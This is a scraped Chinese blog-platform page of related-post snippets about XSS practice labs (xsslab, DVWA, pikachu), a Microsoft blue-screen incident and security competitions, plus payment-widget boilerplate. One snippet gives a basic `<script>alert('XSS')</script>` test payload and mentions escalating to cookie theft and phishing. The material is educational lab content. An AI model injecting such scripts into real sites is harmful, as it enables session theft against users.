XSS（Cross-Site Scripting）实验室全通关教程是一份深度学习和实践XSS漏洞攻防的宝贵资源。XSS是一种常见的网络安全问题，它允许攻击者在用户浏览器中注入恶意脚本，从而窃取敏感信息、操纵用户行为或进行其他危害...
第五期月刊—进击的XSS.pdf
08-08
基础知识 新手指南：DVWA-1.9 全级别教程（完结篇，附实例）之 XSS ...XSS通关小游戏以及我的挑战思路分享 WEB 安全系列之如何挖掘 XSS 漏洞 XSS绕过之前端绕过 实战进阶 某学习直播平台的 xss 绕过 总结了下自己的 XS
XSSlab靶场通关（1~20关）
06-10
适合刚开始学习xss漏洞，将xsslab靶场作为练习对象。
记一次因敏感信息泄露而导致的越权+存储型XSS
最新发布
2301_80127209的博客
07-23 592
可能各位师傅会有苦于不知道如何寻找测试目标的烦恼，这里我惯用的就是寻找可进站的思路。这个思路分为两种，一是弱口令进站测试，二是可注册进站测试。依照这个思路，我依旧是用鹰图进行了一波资产的搜集。
“微软蓝屏”事件暴露了网络安全哪些问题？
csdn_aspnet的专栏
07-23 1665
这次由微软系统软件更新引发的“微软蓝屏”事件，无疑是对全球IT基础设施韧性与安全性的重大考验。850万台设备的故障，以及对航空、医疗和传媒等关键行业的广泛影响，再次突显出我们在网络安全和系统稳定性方面的脆弱性。一、问题解析1、更新管理的复杂性：随着技术的不断进步，软件更新的复杂性也在增加。大型系统中，需要兼顾各种硬件、软件和环境，确保更新不会引发兼容性问题，而这往往十分困难。2、供应链风险：如这次事件所示，一个小小的缺陷就可能通过供应链扩散，造成全球性影响。
网络安全相关竞赛比赛
黑战士的博客
07-18 1098
湖南省委网信办联合省教育厅、省广播电视局、省政务管理服务局、省通信管理局、长沙市人民政府等6家单位共同主办。教育部认可的大学生学科竞赛网站链接（2023版）关键字：比赛、CTF、赛事、技能挑战。浙江省大学生网络与信息安全竞赛。全国网络安全行业职业技能大赛。湖南省“网安湘军杯”
pikachu靶场xss漏洞通关
08-10
你好！要通关Pikachu靶场的XSS漏洞，你可以按照以下步骤进行操作： 1. 首先，了解XSS漏洞的原理和类型。XSS（跨站脚本攻击）是一种常见的Web漏洞，攻击者通过在网页中注入恶意脚本，利用用户的浏览器执行恶意代码，从而获取用户的敏感信息或进行其他恶意操作。 2. 进入Pikachu靶场的XSS关卡。你可以在Pikachu靶场网站上找到XSS关卡，并点击进入。 3. 分析目标网页的源代码。查看目标网页的源代码，找到用户输入的地方，这些地方可能存在漏洞。 4. 尝试注入恶意脚本。在目标输入框或其他用户可输入的地方，尝试注入一些简单的恶意脚本，例如 `<script>alert('XSS')</script>`。如果成功弹出一个对话框，说明存在XSS漏洞。 5. 利用XSS漏洞进行更高级的攻击。一旦确认存在XSS漏洞，你可以尝试利用它进行更高级的攻击，例如窃取用户的Cookie信息、进行钓鱼攻击等。这需要根据具体情况来进行进一步的研究和尝试。 请注意，在进行任何形式的安全测试时，确保遵守法律和道德准则，并且只在合法授权的范围内进行。希望这些信息对你有所帮助！如果你有任何其他问题，可以继续向我提问。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值